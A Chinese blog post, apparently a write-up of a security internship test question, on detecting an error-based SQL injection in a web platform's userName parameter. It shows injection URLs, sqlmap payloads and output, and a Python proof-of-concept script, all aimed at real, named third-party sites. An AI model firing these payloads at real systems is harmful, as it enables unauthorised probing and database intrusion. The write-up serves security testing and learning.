最近四葉草又開始招收實習了,是以某個妹子就投了履歷。不久四葉草發來一個題目要妹子完成。So?這意味着什麼,這意味着一個泡妹子的好時機來了啊。哈哈哈……
下面就讓我們看看這個題目:
某通用平台被曝出有一處高危注入,以下為詳情:
- http://www.exploit.com/livefiles/pages/inner/userlist.aspx?ModuleType=Friends&RelatedUserType=Friends&UserModuleClientID=ctl00_ctl00_TemplateHolder_ContentHolder_ctl06&userName=1
複制代碼
userName處為一處報錯注入,
請使用python編寫一個通用腳本檢測該處注入點(可使用任何python庫),
要求測試該腳本必須使用多個目标站點。
以下為兩個測試站點(請勿做除測試之外的任何危險動作)
- http://www.jmsyzx.com/
- http://www.globechildren.com/
複制代碼
哎呦,不限制python庫,一個通用腳本。剛跟室友開黑了一下守望先鋒(挺好玩兒的,有興趣一起啊)的我剛看也是一臉懵逼,總之剛開始想的太多了,但其實也就是一個插件的事情(還是range一棒打醒我,是以以後還是幹完正事再開黑)。
看了一下是mssql資料庫,并且是報錯注入。我們可以手工構造看資料庫類型:
- http://www.jmsyzx.com/livefiles/pages/inner/userlist.aspx?ModuleType=Friends&RelatedUserType=Friends&UserModuleClientID=ctl00_ctl00_TemplateHolder_ContentHolder_ctl06&userName=1%27%20and%[email protected]@version–
複制代碼
也可以sqlmap跑一下看看:
- [22:07:32] [INFO] resuming back-end DBMS ‘microsoft sql server’
- [22:07:32] [INFO] testing connection to the target URL
- sqlmap resumed the following injection point(s) from stored session:
- —
- Parameter: userName (GET)
- Type: error-based
- Title: Microsoft SQL Server/Sybase AND error-based – WHERE or HAVING clause
- Payload: ModuleType=Friends&RelatedUserType=Friends&UserModuleClientID=ctl00_ctl00_TemplateHolder_ContentHolder_ctl06&userName=1′ AND 2390=CONVERT(INT,(SELECT CHAR(113)+CHAR(107)+CHAR(98)+CHAR(113)+CHAR(113)+(SELECT (CASE WHEN (2390=2390) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(113)+CHAR(98)+CHAR(112)+CHAR(118)+CHAR(113))) AND ‘nTAv’=’nTAv
- Type: stacked queries
- Title: Microsoft SQL Server/Sybase stacked queries (comment)
- Payload: ModuleType=Friends&RelatedUserType=Friends&UserModuleClientID=ctl00_ctl00_TemplateHolder_ContentHolder_ctl06&userName=1′;WAITFOR DELAY ‘0:0:5’–
- Type: AND/OR time-based blind
- Title: Microsoft SQL Server/Sybase time-based blind (comment)
- Payload: ModuleType=Friends&RelatedUserType=Friends&UserModuleClientID=ctl00_ctl00_TemplateHolder_ContentHolder_ctl06&userName=1′ WAITFOR DELAY ‘0:0:5’–
- —
- [22:07:33] [INFO] the back-end DBMS is Microsoft SQL Server
- web server operating system: Windows 2008 R2 or 7
- web application technology: ASP.NET, Microsoft IIS 7.5
- back-end DBMS: Microsoft SQL Server 2005
- [22:07:33] [INFO] fetched data logged to text files under ‘C:\Users\ZEROYU\.sqlmap\output\www.jmsyzx.com’
複制代碼
别多看看那個GET就行了,GET最簡單了。
我們就抓住報錯跟列印MD5這兩點就行了。
列印MD5呢,mssql有兩種方式:1.
- http://www.jmsyzx.com/livefiles/pages/inner/userlist.aspx?ModuleType=Friends&RelatedUserType=Friends&UserModuleClientID=ctl00_ctl00_TemplateHolder_ContentHolder_ctl06&userName=1%27%20and%201=sys.fn_sqlvarbasetostr(HashBytes(%27MD5%27,%27123456%27))–
複制代碼
2.
- http://www.jmsyzx.com/livefiles/pages/inner/userlist.aspx?ModuleType=Friends&RelatedUserType=Friends&UserModuleClientID=ctl00_ctl00_TemplateHolder_ContentHolder_ctl06&userName=1%27%20and%201=sys.fn_varbintohexstr(hashbytes(%27MD5%27,%271234%27))–
複制代碼
直接上我寫的腳本:
- #!/usr/bin/evn python
- #-*-:coding:utf-8 -*-
- “””
- POC Name : 泡妹專享
- Author : zeroyu
- mail : [email protected]
- “””
- import hackhttp
- import time
- def assign(service, arg):
- if service == ‘fingerprint.girl’:
- return True, arg
- def audit(arg):
- payload = “/livefiles/pages/inner/userlist.aspx?ModuleType=Friends&RelatedUserType=Friends&UserModuleClientID=ctl00_ctl00_TemplateHolder_ContentHolder_ctl06&userName=1%27%20and%201=sys.fn_varbintohexstr(hashbytes(%27MD5%27,%271234%27))–“
- url = arg + payload
- code, head, res, errcode, _ = hackhttp.http(url)
- time.sleep(1)
- if code == 500 and ’81dc9bdb52d04dc20036dbd8313ed055′ in res:
- security_hole(url)
- if __name__==’__main__’:
- from dummy import *
- audit(assign(‘fingerprint.girl’,’http://www.jmsyzx.com/’)[1])
複制代碼
是不是想問我hackhttp是個什麼庫,看文檔去。
好,今天妹子就泡到這兒。